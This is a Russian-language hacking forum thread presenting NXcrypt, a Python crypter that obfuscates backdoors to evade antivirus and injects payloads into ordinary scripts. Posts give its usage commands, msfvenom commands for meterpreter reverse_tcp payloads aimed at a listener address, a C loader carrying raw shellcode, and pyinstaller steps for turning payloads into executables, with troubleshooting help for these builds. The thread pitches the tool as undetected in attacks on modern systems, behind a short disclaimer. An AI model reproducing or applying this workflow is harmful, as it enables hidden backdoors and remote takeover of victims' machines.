NXcrypt-python backdoor framework

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем Vertigo, 21 июн 2017.

  1. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    226
    Симпатии:
    314
    NXcrypt-python backdoor framework

    Информация,которая представлена в обзоре ,предназначена исключительно для ознакомления
    и изучения информационной безопасности.
    Администрация ресурса и автор обзора не призывают к её использованию в незаконных целях.


    Приветсвую всех Форумчан,Дорогих постоянных гостей нашего ресурса и тех,кого интересует ИБ.
    Буквально,несколько дней назад,Hadi опубликовал великолепную ,на мой взгляд работу.

    Это полиморфный Криптор,обладающий своими модулями шифрования и инжекта.
    Он использует внутренний модуль python py_compile , компилирует код в байт-код файла .pyc file
    И затем конвертирует этот файл в обычный .py,обфусцируя код таким образом,что меняется md5sum на выходе.

    Модуль инжекта предназначен для ввода вредоносного файла python в обычный файл с многопотоковой системой.

    Вот такой инструмент,обработанные файлы которым ,по состоянию на текущий момент,не детектятся AV.
    Удобен он конечно в совместной работе с Metasploit.
    Никаких особенных зависимостей и предпочтений Linux-дистрибутивов не имеет.

    Ну чтож,приступим:
    Код (Text):
    git clone https://github.com/Hadi999/NXcrypt.git
    cd NXcrypt/
    chmod +x NXcrypt.py
    sudo ./NXcrypt.py --help (криптор требует работу от рута)
    Опции можно посмотреть на скриншоте
    NXcrypt-python backdoor framework


    Применение и алгоритмы команд:

    Код (Text):
    sudo ./NXcrypt.py --file=backdoor.py --output=output_backdoor.py # encrypt backdoor.py and output file is output_backdoor.py
        sudo ./NXcrypt.py --file=shell.py # encrypt shell.py and default output file is backdoor.py but you can edit it in source code
        sudo ./NXcrypt.py --help # NXcrypt help
        sudo ./NXcrypt.py --backdoor-file=payload.py --file=test.py --output=hacked.py # inject payload.py with test.py into hacked.py with multi-threading system
    Прилагаю также видео от автора,где можно посмотреть работу на примере генерирования полезной нагрузки с помощью msfvenom.

    Ну ,а я на этом желаю вам отличного настроения и до новых встреч.

     
    citizen2517, kokorionk, id2746 и 12 другим нравится это.
  2. Ondrik8

    Ondrik8 Well-Known Member
    Grey Team

    Репутация:
    2
    Регистрация:
    8 ноя 2016
    Сообщения:
    306
    Симпатии:
    681
    Молодца!) хачу ищо!))
     
    citizen2517 и Vertigo нравится это.
  3. Hackaton192

    Hackaton192 Member

    Репутация:
    0
    Регистрация:
    30 янв 2017
    Сообщения:
    16
    Симпатии:
    7
    А чем можно конвертнуть потом Python в Exe формат?
     
    citizen2517 нравится это.
  4. Ondrik8

    Ondrik8 Well-Known Member
    Grey Team

    Репутация:
    2
    Регистрация:
    8 ноя 2016
    Сообщения:
    306
    Симпатии:
    681
    py2exe <--- о нем
     
    #4 Ondrik8, 21 июн 2017
    Последнее редактирование: 21 июн 2017
    citizen2517, Vertigo, Partiizan и ещё 1-му нравится это.
  5. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    226
    Симпатии:
    314
    Пока небольшой тайм-аут)) Не один же автор обзоров.Неделя,надо отметить,
    удалась урожайной по отменному материалу,хотя ещё не закончилась.
    Коллег всегда приятно читать,узнавать новое,а это отдых и чувство комфорта.
    За ссылку спасибо на py2exe-отличное дополнение темы.
     
    citizen2517 и kokorionk нравится это.
  6. yvv4recon

    yvv4recon Member

    Репутация:
    0
    Регистрация:
    23 ноя 2016
    Сообщения:
    6
    Симпатии:
    2
    Люди добрый, нужен совет!
    1)Из metasploit получаю shellcode:
    msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.123 lport=12345 -b \0x0a\0x0b\0xff -f c > /home/iam/shellcode.c
    2) Затем пытаюсь запустить.
    #include <stdio.h>
    #include <string.h>

    unsigned char code[] =
    "\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05\xef\xff"
    "\xff\xff\x48\xbb\x83\xa9\xe9\x96\xd1\x41\xaa\xc9\x48\x31\x58"
    "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcb\x98\x16\xfc\xd8\x19"
    "\x33\x7f\x93\xe1\x60\x40\x9c\x70\x63\xa3\xa1\xe8\xb3\x24\xd6"
    "\x4e\xaf\x9f\xd3\xc3\xc0\xce\x48\x2b\xa8\x96\xe9\xa8\xb7\x99"
    "\xd4\x09\x3d\x81\x3a\xab\xe9\xa6\xe8\x81\x02\xdb\x32\xf8\xa1"
    "\x1f\x37\x2b\xba\x93\xe9\x83\xb1\x99\xd4\x18\xf4\x93\x8c\xac"
    "\x16\x70\xd1\x41\xaa\xc9";


    int main(void) {
    printf("Shellcode length: %dn", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();

    return 0;
    }

    НО ОН ВОЗВРАЩАЕТ SEGMENTATION FAULT

    В чем может быть дело?
     
    citizen2517 нравится это.
  7. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    226
    Симпатии:
    314
    Параметры LHOST,LPORT и др.указываются только заглавными.
    С портом понятно,что для примера.
    Попробуйте вначале так:
    # msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=12345 -a x86 --platform Linux -f c
    #include<stdio.h>
    #include<string.h>
    Т.е. ,без отсечения -b (вредных символов)
     
    citizen2517 нравится это.
  8. IF_ELSE

    IF_ELSE Member

    Репутация:
    0
    Регистрация:
    20 янв 2017
    Сообщения:
    10
    Симпатии:
    4
    Спасибо, очень познавательно! Попробовал конвертировать при помощи утилы py2exe - вываливает ошибку такого плана

    c:\Python27>python setup.py py2exe
    running py2exe
    creating c:\Python27\build
    creating c:\Python27\build\bdist.win-amd64
    creating c:\Python27\build\bdist.win-amd64\winexe
    creating c:\Python27\build\bdist.win-amd64\winexe\collect-2.7
    creating c:\Python27\build\bdist.win-amd64\winexe\bundle-2.7
    creating c:\Python27\build\bdist.win-amd64\winexe\temp
    creating c:\Python27\dist
    *** searching for required modules ***
    error: compiling 'meterpreter2.py' failed
    TypeError: compile() expected string without null bytes

    Может кто из форумчан сталкивался? Гуглить пробовал, но решения так и не нашел.
     

    Вложения:

    • NXcrypt-python backdoor framework
      cmd.jpg
      Размер файла:
      72,7 КБ
      Просмотров:
      6
    citizen2517 и flesh91 нравится это.
  9. kot-gor

    kot-gor Well-Known Member
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    7 сен 2016
    Сообщения:
    275
    Симпатии:
    233
    у меня тоже не вышло сконвертировать причем как в винде так и в линуксе..буду признателен, если у кого получилось, поделится опытом..
     
    citizen2517 нравится это.
  10. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    226
    Симпатии:
    314
    Архитектору только требуемую не забудьте указать (у Вас x64)
     
    citizen2517 нравится это.
  11. flesh91

    flesh91 Member

    Репутация:
    0
    Регистрация:
    25 фев 2017
    Сообщения:
    10
    Симпатии:
    5
    Хочу узнать получилось ли кому то конвертировать в EXE так как у меня такая же ошибка как у форумчан выше: "TypeError: compile() expected string without null bytes"
     
    citizen2517 нравится это.
  12. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    226
    Симпатии:
    314
    Пришлось съимитировать такую ошибку у себя.Скорее всего какие-то параметры указаны были неверно (отступы,возможно)

    Расскажу,как иногда это делаю.
    Сразу оговорюсь,что py2exe не пользовался.
    Если кто желает переквалифицировать py в exe после полиморфного чудовища из темы,
    то это плохая идея.

    Использую для таких целей pyinstaller.
    1.Готовлю файл py c помощью msfvenom
    Например,даже без указания цели:
    msfvenom --payload=python/meterpreter/reverse_tcp --out=solomon.py
    Готово,этот файл можно будет найти по пути cd-ls-solomon.py

    2.Для удобства можно скопировать в директорию test (к примеру) на рабочем столе.
    #cd, #ls, #cp solomon.py /root/Рабочий\ стол/test

    3.# rm -rf solomon.py (нечего мусорить лишний раз)
    4.Захожу в директорию test и работаю с pyinstaller
    cd /root/Рабочий\ стол/test/
    ls - видим наш solomon.py
    Теперь pyinstaller solomon.py

    5.Всё,он сам сделает требуемое.И это без дополнительных опций (сжатие и т.д)
    В директории test создадутся ещё 2 директории build и dist
    В них можно найти файлы без расширения solomon
    Это и есть экзешники.

    Иногда использую вот такую красоту.На Kali Работает,тоже предлагает форматы.

    Вопрос следующий в том,как ещё и закриптовать в exe-формате.
    Avoidz из таких инструментов,можно ещё много нарыть на форуме по бай-пасам.
     
    citizen2517, id2746 и Ondrik8 нравится это.
  13. IF_ELSE

    IF_ELSE Member

    Репутация:
    0
    Регистрация:
    20 янв 2017
    Сообщения:
    10
    Симпатии:
    4
    Уважаемый Vertigo прав - обфусцированный и закодированный py-файл не конвертится. Я сделал полезную нагрузку msfvenom-om и использовав библиотеку ctypes вставил ее в py-файл, а потом pyinstaller - все прошло. Ради интереса заюзал NXcrypt и попробовал собрать - та же ошибка. Единственный момент, который не учел - разрядность ОС. Ехе при запуске ругнулся на несовместимость.
     
    citizen2517 и Vertigo нравится это.
  14. jaguar

    jaguar Well-Known Member

    Репутация:
    0
    Регистрация:
    1 июн 2017
    Сообщения:
    78
    Симпатии:
    27
    Как исправить? вожу вот так pyinstaller solomon.py
    File "/usr/local/bin/pyinstaller", line 11, in <module>
    load_entry_point('PyInstaller==3.3.dev0+abfc80661', 'console_scripts', 'pyinstaller')()
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/__main__.py", line 87, in run
    run_build(pyi_config, spec_file, **vars(args))
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/__main__.py", line 45, in run_build
    PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/build_main.py", line 788, in main
    build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build'))
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/build_main.py", line 734, in build
    exec(text, spec_namespace)
    File "<string>", line 16, in <module>
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/build_main.py", line 212, in __init__
    self.__postinit__()
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/datastruct.py", line 161, in __postinit__
    self.assemble()
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/building/build_main.py", line 413, in assemble
    priority_scripts.append(self.graph.run_script(script))
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/depend/analysis.py", line 196, in run_script
    self._top_script_node = super(PyiModuleGraph, self).run_script(pathname)
    File "/usr/local/lib/python2.7/dist-packages/PyInstaller/lib/modulegraph/modulegraph.py", line 1386, in run_script
    co_ast = compile(contents, pathname, 'exec', ast.PyCF_ONLY_AST, True)
    TypeError: compile() expected string without null bytes
     
    #14 jaguar, 10 июл 2017
    Последнее редактирование модератором: 10 июл 2017
  15. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    226
    Симпатии:
    314
    Давайте с самого начала: как устанавливали pyinstaller, как сгенерировали файл.py,как его назвали.
    Из примера ,файл solomon - это импровизированное произвольное название выходного файла.У Вас он может быть иным.
     
  16. jaguar

    jaguar Well-Known Member

    Репутация:
    0
    Регистрация:
    1 июн 2017
    Сообщения:
    78
    Симпатии:
    27
    apt-get install pyinstaller
    pip install pyinstaller
    pyinstaller yourprogram.py

    потом
    Захожу в директорию test и работаю с pyinstaller
    cd /root/Desktop/test/
    ls - видим наш solomon.py
    Теперь pyinstaller solomon.py
     
  17. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    226
    Симпатии:
    314
    Зачем команду запустили эту? Это пример запуска из мануала.
    Вот скрины как и что должно получиться.
     

    Вложения:

    • NXcrypt-python backdoor framework
      vertigo1.png
      Размер файла:
      220,8 КБ
      Просмотров:
      6
    • NXcrypt-python backdoor framework
      vertigo2.png
      Размер файла:
      221,8 КБ
      Просмотров:
      6
    • NXcrypt-python backdoor framework
      vertigo3.png
      Размер файла:
      110,8 КБ
      Просмотров:
      6
    • NXcrypt-python backdoor framework
      vertigo4.png
      Размер файла:
      19 КБ
      Просмотров:
      6
    jaguar нравится это.
  18. jaguar

    jaguar Well-Known Member

    Репутация:
    0
    Регистрация:
    1 июн 2017
    Сообщения:
    78
    Симпатии:
    27
    Как сделать платформу? питон не хочет кушать
    msfvenom --payload=python/meterpreter/reverse_tcp --out=/root/NXcrypt/cia.py LHOST=192.168.1.123 LPORT=4444 вот так все отлично как только поставить платформу и где?
     
    Vertigo нравится это.
  19. Max2

    Max2 New Member

    Репутация:
    0
    Регистрация:
    28 июн 2017
    Сообщения:
    4
    Симпатии:
    0
    Чето не пойму, Так будет он собираться в exe после NXcrypt или нет?
     
  20. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    226
    Симпатии:
    314
    Я не пробовал,т.к. знаю,что теоретически это возможно,но очень сложно- переиначить закодированный обфусцированный файл.
    За других я не могу сказать,и это будет правильными словами,поскольку нужны очень глубокие знания и опыт .
    К тому же,например ,не понимаю,чем не устраивают другие решения с файлами-экзешниками,коими богата наша база форума.
    Инструмент задуман для совместной работы с Метасплойт,позволяет быть необнаруженными файлам,при атаке на современные системы.Разрабатывать конкретно под него что-то другое для работы с ним ? Это не актуально.Время идёт,лаборатории работают над своими продуктами(и правильно делают).Когда-нибудь,его использование тоже станет неприменимым,а появятся другие решения.
     
    IF_ELSE и kot-gor нравится это.
Загрузка...

Поделиться этой страницей